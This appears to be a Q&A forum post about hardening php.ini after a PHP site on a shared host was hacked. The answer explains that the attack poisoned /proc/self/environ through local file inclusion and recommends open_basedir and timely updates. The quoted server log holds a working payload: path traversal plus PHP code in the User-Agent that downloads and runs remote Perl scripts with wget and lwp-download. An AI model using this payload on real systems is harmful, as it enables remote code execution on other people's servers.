Php – Configuring php.ini to prevent attacks

PHPphp.ini

I have been attacked on a shared host server (heartinternet) and they said I should configure my own php.ini file properly.

Well I have a little php/MySQL program with a registering function, a little admin site however someone hacked it.

What is the general way to configure a php.ini file to be able to prevent attack like this? Any good setting would be really appreciated.

Here is what I got from the webhost provider:

121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget
http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"

Because script injection attacks the site code itself, it is able to
completely avoid webserver security. Unfortunately, some content
management systems (especially older versions of Joomla) are extremely
susceptible to this form of attack.

A simple way to remove the ability for attackers to use this method is
to add a php.ini file at the top-level of the website with the
following contents – be aware though that the web-site will need
testing afterwards to ensure that no legitimate web-site scripted
actions have been affected by the change:

The php.ini directives are…

allow_url_include = "0"
allow_url_fopen = "0"

Best Answer

It's not clear that either of those directives would have blocked this attack. The way that attack worked was not by include()ing or fopen()ing a remote URL, it relied on being able to trick your code into include()ing /proc/self/environ which is a file containing the process's environment variables. The request poisoned those environment variables with the actual exploit code, and the actual exploit downloaded and executed a perl script that did the dirty work.

Establishing an open_basedir setting that allows your code to only open files in specific directories would have blocked this attack, but in general, programs that execute scripts based on user input without very rigorous controls have dozens of ways to be attacked, especially if they allow user-uploaded content like pictures or whatever.

Keeping your site code up-to-date is important too. Especially since this exploit has been known to affect Joomla since at least last March

Related Topic